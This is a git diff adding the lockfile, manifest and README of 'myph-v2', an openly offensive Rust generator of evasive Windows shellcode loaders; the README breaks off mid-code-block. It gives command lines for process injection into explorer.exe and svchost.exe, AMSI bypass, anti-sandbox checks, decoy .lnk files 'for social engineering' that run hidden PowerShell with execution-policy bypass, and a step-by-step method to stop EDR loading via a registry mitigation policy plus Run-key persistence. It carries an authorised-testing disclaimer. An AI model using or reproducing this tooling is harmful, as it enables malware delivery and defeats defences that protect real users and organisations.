+[[package]]
+name = "proc-macro-error2"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
+dependencies = [
+ "proc-macro-error-attr2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.103"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a338cc41d27e6cc6dce6cefc13a0729dfbb81c262b1f519331575dd80ef3067f"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "r-efi"
+version = "5.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
+
+[[package]]
+name = "rand"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+dependencies = [
+ "libc",
+ "rand_chacha",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.16",
+]
+
+[[package]]
+name = "rustversion"
+version = "1.0.22"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d"
+
+[[package]]
+name = "scroll"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1257cd4248b4132760d6524d6dda4e053bc648c9070b960929bf50cfb1e7add"
+dependencies = [
+ "scroll_derive",
+]
+
+[[package]]
+name = "scroll_derive"
+version = "0.13.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed76efe62313ab6610570951494bdaa81568026e0318eaa55f167de70eeea67d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "serde"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
+dependencies = [
+ "serde_core",
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_core"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
+dependencies = [
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_derive"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "serde_json"
+version = "1.0.148"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3084b546a1dd6289475996f182a22aba973866ea8e8b02c51d9f46b1336a22da"
+dependencies = [
+ "itoa",
+ "memchr",
+ "serde",
+ "serde_core",
+ "zmij",
+]
+
+[[package]]
+name = "sha2"
+version = "0.10.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "digest",
+]
+
+[[package]]
+name = "shlex"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "stability"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d904e7009df136af5297832a3ace3370cd14ff1546a232f4f185036c2736fcac"
+dependencies = [
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "strsim"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
+
+[[package]]
+name = "substring"
+version = "1.4.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42ee6433ecef213b2e72f587ef64a2f5943e7cd16fbd82dbe8bc07486c534c86"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "syn"
+version = "1.0.109"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.111"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "390cc9a294ab71bdb1aa2e99d13be9c753cd2d7bd6560c77118597410c4d2e87"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "thiserror"
+version = "1.0.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52"
+dependencies = [
+ "thiserror-impl 1.0.69",
+]
+
+[[package]]
+name = "thiserror"
+version = "2.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f63587ca0f12b72a0600bcba1d40081f830876000bb46dd2337a3051618f4fc8"
+dependencies = [
+ "thiserror-impl 2.0.17",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "1.0.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "2.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3ff15c8ecd7de3849db632e14d18d2571fa09dfc5ed93479bc4485c7a517c913"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "twofish"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a78e83a30223c757c3947cd144a31014ff04298d8719ae10d03c31c0448c8013"
+dependencies = [
+ "cipher",
+]
+
+[[package]]
+name = "typenum"
+version = "1.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb"
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.22"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
+
+[[package]]
+name = "utf8parse"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
+
+[[package]]
+name = "uuid"
+version = "1.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e2e054861b4bd027cd373e18e8d8d8e6548085000e41290d95ce0c373a654b4a"
+dependencies = [
+ "getrandom 0.3.4",
+ "js-sys",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "version_check"
+version = "0.9.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
+
+[[package]]
+name = "wasi"
+version = "0.11.1+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
+
+[[package]]
+name = "wasip2"
+version = "1.0.1+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7"
+dependencies = [
+ "wit-bindgen",
+]
+
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0d759f433fa64a2d763d1340820e46e111a7a5ab75f993d1852d70b03dbb80fd"
+dependencies = [
+ "cfg-if",
+ "once_cell",
+ "rustversion",
+ "wasm-bindgen-macro",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48cb0d2638f8baedbc542ed444afc0644a29166f1595371af4fecf8ce1e7eeb3"
+dependencies = [
+ "quote",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cefb59d5cd5f92d9dcf80e4683949f15ca4b511f4ac0a6e14d4e1ac60c6ecd40"
+dependencies = [
+ "bumpalo",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cbc538057e648b67f72a982e708d485b2efa771e1ac05fec311f9f63e5800db4"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "windows-core"
+version = "0.62.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
+dependencies = [
+ "windows-implement",
+ "windows-interface",
+ "windows-link",
+ "windows-result",
+ "windows-strings",
+]
+
+[[package]]
+name = "windows-implement"
+version = "0.60.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "windows-interface"
+version = "0.59.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "windows-link"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
+
+[[package]]
+name = "windows-result"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.61.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "winstructs"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6dc7406cd936173d9cc3a4fd5dc5b295bc59612439d72038e3d7ac4e5dd42de9"
+dependencies = [
+ "bitflags 1.3.2",
+ "byteorder",
+ "chrono",
+ "log",
+ "num-derive 0.3.3",
+ "num-traits",
+ "serde",
+ "serde_json",
+ "thiserror 1.0.69",
+]
+
+[[package]]
+name = "wit-bindgen"
+version = "0.46.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59"
+
+[[package]]
+name = "zerocopy"
+version = "0.8.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd74ec98b9250adb3ca554bdde269adf631549f51d8a8f8f0a10b50f1cb298c3"
+dependencies = [
+ "zerocopy-derive",
+]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "zmij"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "de9211a9f64b825911bdf0240f58b7a8dac217fe260fc61f080a07f61372fbd5"

diff --git a/Cargo.toml b/Cargo.toml
@@ -0,0 +1,30 @@
+[package]
+name = "myph_v2"
+version = "0.1.0"
+edition = "2021"
+authors = ["djnnvx"]
+
+[dependencies]
+clap = { version = "4.5", features = ["derive"] }
+rand = "0.8"
+sha2 = "0.10"
+# Base64 encoding
+base64 = "0.22"
+# UUID generation
+uuid = { version = "1.11", features = ["v4"] }
+# Encryption dependencies
+aes = "0.8"
+chacha20 = "0.9"
+blowfish = "0.9"
+twofish = "0.7"
+camellia = "0.1"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+# Binary manipulation for verifying generated binaries
+goblin = "0.10"
+# LNK file generation
+lnk = { version = "0.6.3", features = ["binwrite", "unstable-save"] }
+
+[target.'cfg(windows)'.dependencies]
+ntapi = "0.4"
+winapi = { version = "0.3", features = ["ntdef"] }

diff --git a/README.md b/README.md
@@ -1 +1,616 @@
-# myph-v2
-\ No newline at end of file
+# myph-v2
+
+> A modern Rust-based shellcode loader framework with multiple injection techniques and evasion capabilities for Windows environments.
+
+[![CI](https://github.com/djnnvx/myph-v2/workflows/CI/badge.svg)](https://github.com/djnnvx/myph-v2/actions)
+[![Rust Version](https://img.shields.io/badge/rust-1.85.0-orange.svg)](https://www.rust-lang.org/)
+
+In loving memory of **Vasyl Slipak** (1974 - 2016) - [Wikipedia](https://en.wikipedia.org/wiki/Vasyl_Slipak)
+
+---
+
+## Disclaimer
+
+This tool is designed for **security research and authorized penetration testing only**. Users are responsible for complying with applicable laws and regulations. Misuse of this software for unauthorized access or malicious purposes is strictly prohibited.
+
+---
+
+## Overview
+
+**myph-v2** is a sophisticated shellcode loader generator that creates highly evasive Windows executables, DLLs, and shortcut files. It combines multiple injection techniques, encryption algorithms, and anti-analysis features to generate payloads that can bypass modern security solutions.
+
+### Key Capabilities
+
+- **7 Encryption Algorithms**: AES-128, AES-256, ChaCha20, Twofish, Camellia-256, Blowfish, and XOR with automatic key derivation
+- **17 Injection Techniques**: From classic CreateRemoteThread to advanced syscalls, process hollowing, module stomping, and callback-based execution
+- **Triple Output Formats**: Generate PE executables (.exe), DLLs (.dll), and Windows shortcuts (.lnk) with cross-platform support
+- **Evasion Features**: API hammering, AMSI patching, string encryption, dynamic function resolution, anti-VM, anti-sandbox, and anti-debugger detection
+- **Binary Optimization**: Automatic symbol stripping and size optimization
+- **Cross-Compilation**: Build Windows binaries from Linux/macOS
+
+---
+
+## Table of Contents
+
+- [Prerequisites](#prerequisites)
+- [Installation](#installation)
+- [Features](#features)
+- [Usage](#usage)
+- [Injection Techniques](#injection-techniques)
+- [Encryption Methods](#encryption-methods)
+- [Development](#development)
+- [CI/CD](#cicd)
+- [Architecture](#architecture)
+- [Troubleshooting](#troubleshooting)
+- [Contributing](#contributing)
+- [Legal Notice](#legal-notice)
+- [Contact](#contact)
+
+---
+
+## Prerequisites
+
+- **Rust**: Version 1.85.0 or later ([rustup.rs](https://rustup.rs/))
+- **MinGW-w64**: For cross-compilation to Windows (Linux/macOS only)
+
+---
+
+## Installation
+
+### Installation
+
+```bash
+# Install Rust
+curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+
+# Linux/macOS: Install cross-compilation tools
+sudo apt-get install -y mingw-w64  # Debian/Ubuntu
+brew install mingw-w64              # macOS
+rustup target add x86_64-pc-windows-gnu
+
+# Clone and build
+git clone https://github.com/djnnvx/myph-v2.git
+cd myph-v2
+cargo build --release
+
+# Verify
+cargo test
+./target/release/myph_v2 --help
+```
+
+---
+
+## Features
+
+### Encryption Methods
+
+| Algorithm | Key Size | Security Level |
+|-----------|----------|----------------|
+| **AES-128** | 128-bit | High |
+| **AES-256** | 256-bit | High |
+| **ChaCha20** | 256-bit | High |
+| **Twofish** | 256-bit | High |
+| **Camellia-256** | 256-bit | High |
+| **Blowfish** | 32-448 bit | Medium-High |
+| **XOR** | Variable | Basic |
+
+All methods (except XOR) use SHA-256 key derivation with random IV/nonce generation.
+
+### Technique Capability Matrix
+
+| Technique | Detection Difficulty | Admin Required | Process Injection | Dynamic Resolver | AMSI Patch | Requires Ntdll |
+|-----------|---------------------|----------------|-------------------|------------------|------------|----------------|
+| crt | Medium |  | ✓ | ✓ | ✓ |  |
+| crtx | Medium |  | ✓ | ✓ | ✓ |  |
+| create-fiber | Medium-High |  | Local | ✓ | ✓ |  |
+| process-hollowing | High |  | ✓ | ✓ | ✓ | ✓ |
+| nt-create-thread-ex | Medium-High |  | ✓ | ✓ | ✓ | ✓ |
+| syscall | Medium |  | Local | ✓ | ✓ | ✓ |
+| etwp | High |  | Local | ✓ | ✓ |  |
+| set-timer | High |  | Local | ✓ | ✓ |  |
+| enum-calendar | High |  | Local | ✓ | ✓ |  |
+| enum-windows | High |  | Local | ✓ | ✓ |  |
+| enum-system-locales | High |  | Local | ✓ | ✓ |  |
+| image-get-digest-stream | High |  | Local | ✓ | ✓ |  |
+| queue-user-apc | High |  | Local | ✓ | ✓ |  |
+| fairy-law | Very High | ✓ | Local | ✓ | ✓ |  |
+| module-stomping | Very High |  | Local | ✓ | ✓ |  |
+| thread-hijacking | Very High |  | ✓ | ✓ | ✓ |  |
+| early-bird | Very High |  | ✓ | ✓ | ✓ |  |
+
+**Legend:**
+- **Admin Required**: Technique requires administrator privileges
+- **Process Injection**: ✓ = Injects into remote process, Local = Executes locally
+- **Dynamic Resolver**: Supports runtime API resolution via PEB walk
+- **AMSI Patch**: Compatible with AMSI patching
+- **Requires Ntdll**: Uses native NT API functions from ntdll.dll
+
+**Compatibility Check:**
+```bash
+# Check if a technique is compatible with your selected features
+myph_v2 --technique <technique> --check-compatibility
+
+# Example: Check if crt works with dynamic resolver
+myph_v2 --technique crt --process notepad.exe --with-dynamic-function-resolver --check-compatibility
+```
+
+### Output Formats
+
+- **EXE**: Standalone Windows executables
+- **DLL**: Dynamic libraries with DllMain execution
+- **LNK**: Windows shortcut files (PowerShell-based execution)
+
+---
+
+## Usage
+
+### Quick Start
+
+```bash
+myph_v2 -s shellcode.raw -f output.exe -e aes -t crt
+```
+
+### Common Examples
+
+```bash
+# Process injection with custom target
+myph_v2 -s payload.bin -f injector.exe -e aes -t process-hollowing -p notepad.exe
+
+# DLL with evasion features
+myph_v2 -s payload.bin -f loader.dll -b dll -e chacha20 -t crtx -p explorer.exe \
+  --with-api-hammering --with-amsi-patch
+
+# LNK file for social engineering (PowerShell-based)
+myph_v2 -s payload.bin -f document.lnk -b lnk -e aes -t create-fiber
+
+# Callback execution (no injection)
+myph_v2 -s payload.bin -f callback.exe -e xor -t enum-calendar --with-amsi-patch
+
+# Maximum evasion
+myph_v2 -s payload.bin -f evasive.exe -e aes -t syscall \
+  --with-string-encryption --with-dynamic-function-resolver --with-amsi-patch
+```
+
+### Options
+
+```
+Required:
+  -s, --shellcode <FILE>      Path to raw shellcode file
+
+Output:
+  -f, --out <FILE>            Output name [default: out.exe]
+  -b, --binary-format <FMT>   Format: exe, dll, lnk [default: exe]
+
+Encryption:
+  -e, --encryption <TYPE>     Method: aes, aes256, chacha20, twofish, camellia, xor, blowfish [default: aes]
+  -k, --key <KEY>             Encryption key (auto-generated if omitted)
+
+Injection:
+  -t, --technique <TECH>      Technique [default: crt]
+  -p, --process <PROC>        Target process [default: cmd.exe]
+
+Evasion:
+  --with-api-hammering        Enable CPU/IO operations
+  --with-amsi-patch           Bypass AMSI
+  --with-string-encryption    Encrypt strings at compile-time
+  --with-dynamic-function-resolver
+                              Runtime API resolution via PEB walk
+  --with-anti-vm              Enable anti-VM detection checks
+  --with-anti-sandbox         Enable anti-sandbox detection checks
+  --with-anti-debugger        Enable anti-debugger detection checks
+```
+
+---
+
+## Injection Techniques
+
+### Process Injection (requires `-p`)
+
+```bash
+# CreateRemoteThread
+myph_v2 -s sc.raw -t crt -p notepad.exe
+
+# NtCreateThreadEx (native API)
+myph_v2 -s sc.raw -t nt-create-thread-ex -p svchost.exe
+
+# Process Hollowing
+myph_v2 -s sc.raw -t process-hollowing -p cmd.exe
+
+# Thread Hijacking (suspend, modify context, resume)
+myph_v2 -s sc.raw -t thread-hijacking -p explorer.exe
+
+# Early Bird APC (inject before main thread starts)
+myph_v2 -s sc.raw -t early-bird -p notepad.exe
+```
+
+### Local Execution
+
+```bash
+# Fiber-based
+myph_v2 -s sc.raw -t create-fiber
+
+# Module Stomping (overwrite legitimate DLL)
+myph_v2 -s sc.raw -t module-stomping
+
+# Callback-based
+myph_v2 -s sc.raw -t enum-calendar
+myph_v2 -s sc.raw -t image-get-digest-stream
+
+# Direct syscall
+myph_v2 -s sc.raw -t syscall
+```
+
+### Fairy-Law: EDR Evasion via MicrosoftSignedOnly Policy
+
+**Fairy-Law** enables the Windows `MicrosoftSignedOnly` mitigation policy to prevent EDR components from loading. Named after the spell in Fairy Tail anime that only affects enemies while leaving allies unharmed, this technique causes Windows to treat only Microsoft-signed DLLs as "allies" and block all others as "enemies" - including legitimate EDR vendor DLLs.
+
+**How It Works:**
+
+EDR solutions typically rely on user-mode DLLs (monitoring modules, telemetry collectors, support libraries) signed by the vendor or third-party CAs. When `MicrosoftSignedOnly` is enabled:
+
+1. Windows enforces that **ONLY** Microsoft-signed DLLs may be loaded
+2. Vendor-signed EDR DLLs are rejected by the OS
+3. EDR agents fail to initialize their user-mode components
+4. Telemetry, monitoring, and anti-tamper systems do not start
+5. Policy is applied at kernel Phase 0 and **cannot be refreshed at runtime**
+
+**Requirements:**
+
+- Must be run with Administrator privileges
+- System restart required after enabling policy
+- Operator must manually handle all steps
+
+**Usage:**
+
+```bash
+# Generate the binary
+myph_v2 -s sc.raw -t fairy-law -e aes
+
+# With evasion features
+myph_v2 -s sc.raw -t fairy-law -e chacha20 --with-dynamic-function-resolver
+```
+
+**Operator Workflow:**
+
+```bash
+# Step 1: Run as Administrator on target (first execution)
+runas /user:Administrator fairy_law.exe
+# Output: "MicrosoftSignedOnly policy enabled successfully!"
+# Output: "EDR components will be blocked after restart."
+
+# Step 2: Restart the system manually
+shutdown /r /t 0
+
+# Step 3: After restart, EDR fails to load vendor DLLs
+# Binary auto-runs from startup (or run again manually)
+# Payload executes with EDR disabled
+
+# Step 4: Verify EDR failure (optional)
+# EDR agents will show errors in Event Viewer:
+# "The application was unable to start correctly... DLL is not signed by Microsoft"
+```
+
+**Technical Details:**
+
+- Modifies: `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\MitigationOptions`
+- Sets MicrosoftSignedOnly bit: `0x00, 0x01, 0x00, 0x00...`
+- Adds persistence: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
+- Policy applies system-wide at next boot during kernel initialization
+
+**Benefits:**
+
+- **Complete EDR failure**: User-mode components cannot initialize
+- **System-level enforcement**: Applied before EDR agents start
+- **Cannot be bypassed at runtime**: Kernel Phase 0 enforcement
+- **No detection**: Legitimate Windows security feature
+- **Persistent**: Remains active until policy is disabled and system is restarted
+
+**Detection Difficulty:**
+
+- Very High: Uses legitimate Windows security policy
+- EDR logs will show DLL load failures (after it's too late)
+- No suspicious process behavior
+- Registry modification is standard Windows administration
+
+** [!] Warning:**
+
+This technique:
+- Requires Administrator privileges (no automatic UAC)
+- Modifies system-level security settings
+- Requires manual system restart
+- Blocks ALL non-Microsoft DLLs system-wide (may break some applications)
+- Operator must manually remove policy after testing
+
+Use only in authorized red team engagements and penetration testing.
+
+---
+
+### LNK Format: Windows Shortcut Delivery
+
+**LNK (Windows Shortcut)** files provide an alternative delivery mechanism using PowerShell-based shellcode execution.
+**They can be generated on Linux/macOS build environments** without requiring PowerShell to be installed.
+
+**How It Works:**
+
+1. Generates a PowerShell script with embedded base64-encoded encrypted shellcode
+2. Creates an LNK file that points to PowerShell with hidden window style
+3. When user double-clicks the LNK file, PowerShell executes the script
+4. Script decrypts shellcode and executes it in memory
+
+**Usage:**
+
+```bash
+# Basic LNK generation
+myph_v2 -s payload.bin -f document.lnk -b lnk -e aes
+
+# With encryption and evasion
+myph_v2 -s payload.bin -f report.lnk -b lnk -e chacha20 --with-string-encryption
+
+# Different techniques
+myph_v2 -s payload.bin -f file.lnk -b lnk -e xor -t syscall
+myph_v2 -s payload.bin -f setup.lnk -b lnk -e aes256 -t create-fiber
+```
+
+**Limitations:**
+
+- PowerShell execution policy must allow script execution
+- Process injection techniques run as local execution (fallback)
+- Script Execution Policy Bypass used (`-ExecutionPolicy Bypass`)
+- AV/EDR may monitor PowerShell execution
+
+**Technical Details:**
+
+- LNK target: `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`
+- Arguments: `-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File <script>`
+- PowerShell script stored in: `%TEMP%\payload_<UUID>.ps1`
+- Shellcode: Base64-encoded, decrypted at runtime
+- Memory allocation: PowerShell's `[System.Runtime.InteropServices.Marshal]`
+- Icon: Uses `shell32.dll` (customizable)
+
+**Detection Difficulty:**
+
+- Medium: PowerShell execution is commonly monitored
+- AV/EDR may flag suspicious PowerShell behavior
+- Can be improved with obfuscation and anti-detection techniques
+- Consider using `--with-string-encryption` for better evasion
+
+---
+
+## Encryption Methods
+
+```bash
+# AES-128 (hardware accelerated)
+myph_v2 -s sc.raw -e aes -k "MyPassword"
+
+# AES-256 (strongest AES)
+myph_v2 -s sc.raw -e aes256 -k "MyPassword"
+
+# ChaCha20 (fast, no side-channels)
+myph_v2 -s sc.raw -e chacha20 -k "StreamKey"
+
+# Twofish (AES finalist, highly secure)
+myph_v2 -s sc.raw -e twofish -k "TwofishKey"
+
+# Camellia-256 (international standard)
+myph_v2 -s sc.raw -e camellia -k "CamelliaKey"
+
+# Blowfish (proven, variable key)
+myph_v2 -s sc.raw -e blowfish -k "BlowKey"
+
+# XOR (fast, testing only)
+myph_v2 -s sc.raw -e xor -k "SimpleKey"
+```
+
+### String Encryption
+
+Encrypts string literals at compile-time, decrypts at runtime:
+
+```bash
+myph_v2 -s sc.raw -e aes --with-string-encryption
+```
+
+### Dynamic Function Resolution
+
+Runtime API resolution via PEB walk eliminates static IAT entries:
+
+```bash
+myph_v2 -s sc.raw -e xor --with-dynamic-function-resolver -t create-fiber
+```
+
+**Benefits:**
+- No static IAT entries
+- Encrypted function names
+- Defeats static analysis
+- Works with all techniques
+
+### Anti-Analysis Detection
+
+Detect and evade virtual machines, sandboxes, and debuggers before execution:
+
+```bash
+# Anti-VM detection (checks VM artifacts, processes, registry)
+myph_v2 -s sc.raw -e aes -t create-fiber --with-anti-vm
+
+# Anti-sandbox detection (checks timing, user interaction, resources)
+myph_v2 -s sc.raw -e aes -t syscall --with-anti-sandbox
+
+# Anti-debugger detection (checks debugger presence, breakpoints)
+myph_v2 -s sc.raw -e aes -t enum-calendar --with-anti-debugger
+
+# Combine multiple evasion techniques
+myph_v2 -s sc.raw -e aes -t module-stomping \
+  --with-anti-vm --with-anti-sandbox --with-anti-debugger \
+  --with-amsi-patch --with-string-encryption
+```
+
+**Detection Methods:**
+- **Anti-VM**: VM DLLs, processes, registry keys, CPU/memory limits, firmware
+- **Anti-Sandbox**: Timing analysis, file system checks, uptime, user activity
+- **Anti-Debugger**: IsDebuggerPresent, remote debugger, debug port, hardware breakpoints
+
+---
+
+## Development
+
+### Building
+
+```bash
+cargo build              # Debug build
+cargo build --release    # Optimized build
+cargo run -- -s shellcode.raw -f out.exe
+```
+
+### Testing
+
+```bash
+cargo test                    # All tests
+cargo test -- --nocapture     # With output
+cargo test encryption::       # Specific module
+```
+
+### Code Quality
+
+```bash
+cargo fmt --check    # Check formatting
+cargo fmt            # Format code
+cargo clippy --all-targets --all-features -- -D warnings
+cargo check          # Fast compile check
+```
+
+### Debug Mode
+
+Enable code generation debug markers with the `MYPH_DEBUG_CODEGEN` environment variable:
+
+```bash
